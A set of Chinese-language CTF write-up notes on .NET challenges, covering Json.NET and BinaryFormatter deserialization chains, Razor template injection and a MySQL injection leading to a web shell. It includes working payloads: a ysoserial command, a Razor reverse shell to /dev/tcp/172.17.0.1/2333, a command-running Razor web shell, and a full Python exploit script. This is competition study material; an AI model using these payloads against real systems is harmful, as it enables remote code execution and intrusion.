dotnet in CTF
dotnet in CTF
suctf2025 ez_dotnet
https://github.com/team-su/SUCTF-2025/blob/master/web/sujava/writeup/README.md
使用json.net反序列化,然后思路是需要通过上面两个getter到达sink点的反序列化
存在一条新链子(也快两年了)PropertyGrid,他的SelectedObjects setter中可以调用obj的所有getter
然后json.net也会像fastjson差不多的类型转换,”$type”:”Evil, Program”表示这是一个Evil类
{
"$type":"Evil, Program",
"SerializedValue":"AAE...."
}
这样表示一个Evil对象
把这个Evil对象放入SelectedObjects数组中,会调用Evil的所有getter
最后的BinaryFormatter反序列化就像wp中说的坑点其实都在mono上,首先mono 相当于重写了.NET 4 ,有许多链子是打不了的
使用TypeConfuseDelegateMono
ysoserial.exe -f binaryformatter -g TypeConfuseDelegateMono -c "touch /tmp/pwned" --rawcmd -o base64
明明看配置文件没有什么不出网,但是我写出网命令总是不行,算了不纠结了,这不是重点
DASCTF X HDCTF 2024 ez_dotnet
https://exp10it.io/2024/02/dotnet-serialization-binder-bypass/
走return null存在利用
然后就看如何使用这两个的transform方法
然后感觉就是大b哥blog里写的链式调用
但是我顶多知道链式调用三次进行实例化,但最后一步如何调用ToString就不会了
2022春秋杯冬季赛 ez_dotnet
https://cn-sec.com/archives/1496300.html
/api/UserLoad存在反序列化
看OnDeserialized反序列化后的处理,需要反序列化的key匹配后才能走到Compare函数
跟进这个成员发现,改成员是静态的随机key,如果在程序启动后对应的泛型一致的key是一样的,例如 ComparerData<string>.key
每次得到的都一样,刚好在登录的地方是获取的string类型的key,所以我们成功登录后就能获取到string类型的key值
然后Compare中有委派和反射,这个就是sink点
反射这里是获取的公共的,静态的,并且可以传递两个参数,且类型是string
的函数,委托那里限制了只能是没有返回类型的函数
程序开头提示可以写文件
分解一下写文件payload好理解一下
using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using WebLibClass;
//反射修改属性的值
static void setField(Object o,string name,Object value)
{
Type type = o.GetType();
type.GetField(name,(BindingFlags)System.Enum.ToObject(typeof(BindingFlags), 0xfffffff)).SetValue(o,value);
}
--------------------------------
//主程序
AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowFileWrites", true);
//加载题目dll,才能使用里面的类
Assembly assembly = Assembly.Load(File.ReadAllBytes("WebLibClass.dll"));
Type type1 = assembly.GetType("WebLibClass.ComparerData`1+ClassMethod[[System.String, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]");
Console.WriteLine(type1);
//实例化
Object o = Activator.CreateInstance(type1,null);
setField(o,"Classname","System.IO.File");
setField(o,"Methodname","WriteAllText");
Type type2 = assembly.GetType("WebLibClass.ComparerData`1[[System.String, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]");
IComparer<string> cp = (IComparer<string>)Activator.CreateInstance(type2,null);;
setField(cp,"c",o);
setField(cp,"isVoid",true);
Console.WriteLine(type1);
//序列化
BinaryFormatter soapFormatter = new BinaryFormatter();
using (MemoryStream stream = new MemoryStream())
{
Gadget<string> g = new Gadget<string>(cp, "/tmp/aaa", "aaaaa");
//key获取部分得到的key
setField(g,"key","12af384cdc7343258c4cb44b10feaa13");
soapFormatter.Serialize(stream,g);
//查看序列化后base64的内容
Console.Write(Convert.ToBase64String(stream.ToArray()));
stream.Position = 0;
stream.Close();
}
/admin
路由没有访问过,但是存在模板渲染的操作,所以我们可以结合上面的反序列化到文件写入
Razor的模板渲染(加入点注释,记得去掉)
@{
//加载程序集,跟显示引用using System.Diagnostics差不多
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load("System.Diagnostics.Process, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
//然后就是正常反射然后执行
Type type = assembly.GetType("System.Diagnostics.Process");
System.Reflection.MethodInfo method = type.GetMethod("Start",System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public,new Type[]{typeof(string),typeof(System.Collections.Generic.IEnumerable<string>)});
Object obj = assembly.CreateInstance("System.Diagnostics.Process");
Object s = (Object)method.Invoke(obj,new object[]{"/bin/bash",new string[]{"-c","bash -i >& /dev/tcp/172.17.0.1/2333 0>&1"}});
WriteLiteral(s.ToString());
}
替换成这样就行
Gadget<string> g = new Gadget<string>(cp, "/app/static/error.html", "@{ System.Reflection.Assembly assembly = System.Reflection.Assembly.Load("System.Diagnostics.Process, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");\\nType type = assembly.GetType("System.Diagnostics.Process");\\nSystem.Reflection.MethodInfo method = type.GetMethod("Start",System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public,new Type[]{typeof(string),typeof(System.Collections.Generic.IEnumerable<string>)});\\nObject obj = assembly.CreateInstance("System.Diagnostics.Process");\\nObject s = (Object)method.Invoke(obj,new object[]{"/bin/bash",new string[]{"-c","bash -i >& /dev/tcp/172.17.0.1/2333 0>&1"}});\\nWriteLiteral(s.ToString());\\n}");
2025软件系统半决赛 razorcor
https://blog.zeroc0077.cn/software2025-writeup/
但是数据库没有dartroot用户
代码存在sql注入
但是有黑名单
通过 \\
对 username 后面的单引号进行转义,于是 SQL 语句就会变成:
select username from userlist where username='\\'and password='password’
而 password 也可控,就可以进行 SQL 注入了。
(绕过黑名单根本不会呜呜呜)
通过 replace
关键字可以写入 table,或者通过 prepare
+ hex 编码来绕过执行 SQL 语句都行。
完成 dartroot
用户的插入后需要写一个 razor 的模板进行 RCE
@{
var cmd = Context.Request.Query["cmd"];
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "/bin/bash";
p.StartInfo.Arguments = $"-c {cmd}";
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.CreateNoWindow = true;p.Start();
var stdout = p.StandardOutput.ReadToEnd().Replace("<", "<").Replace(">", ">");
var stderr = p.StandardError.ReadToEnd().Replace("<", "<").Replace(">", ">");p.WaitForExit();
}
<pre>@stdout</pre>
<pre style="color: red">@stderr</pre>
exp使用concat+chr编码绕过黑名单
def strtochr(string):
tmp = ",".join(f"chr({ord(i)})" for i in string)
res = f"concat({tmp})"
return res
import urllib.parse
import requests
import html
def strtochr(string):
tmp = ",".join(f"chr({ord(i)})" for i in string)
res = f"concat({tmp})"
return res
s = requests.Session()
target = "<http://127.0.0.1>"
resp = s.get(url=target)
assert resp.status_code == 200
# 插入dartroot用户
username = "\\\\"
password = f";replace into userlist values ({strtochr('dartroot')}, {strtochr('123')});#"
payload = f"username={urllib.parse.quote(username)}&password={urllib.parse.quote(password)}"
resp = s.post(
url=target + "/Home/Login",
data=payload,
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
assert resp.status_code == 200
# 写入模板文件
shell = '@{var cmd = Context.Request.Query["cmd"];System.Diagnostics.Process p = new System.Diagnostics.Process();p.StartInfo.FileName = "/bin/bash";p.StartInfo.Arguments = $"-c {cmd}";p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardError = true;p.StartInfo.UseShellExecute = false;p.StartInfo.CreateNoWindow = true;p.Start();var stdout = p.StandardOutput.ReadToEnd().Replace("<", "<").Replace(">", ">");var stderr = p.StandardError.ReadToEnd().Replace("<", "<").Replace(">", ">");p.WaitForExit();}<pre>@stdout</pre><pre style="color: red">@stderr</pre>'.encode()
write_file = f"select unhex(\\"{shell.hex()}\\") into outfile \\"/app/Views/Home/shell.cshtml\\""
password = f";prepare exp from {strtochr(write_file)};execute exp;#"
payload = f"username={urllib.parse.quote(username)}&password={urllib.parse.quote(password)}"
resp = s.post(
url=target + "/Home/Login",
data=payload,
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
assert resp.status_code == 200
# 使用dartroot用户登录,获取session,使下一步能够使用inform参数指定渲染的文件
payload = "username=dartroot&password=123"
resp = s.post(
url=target + "/Home/Login",
data=payload,
headers={"Content-Type": "application/x-www-form-urlencoded"},
)
assert resp.status_code == 200
# 命令记得带",因为木马没有处理空格
cmd = "\\"cat /flag\\""
res = s.get(
url=target + f"?inform=shell&cmd={cmd}"
).text
print(html.unescape(res[res.index("<pre>")+5:res.index("</pre>")]))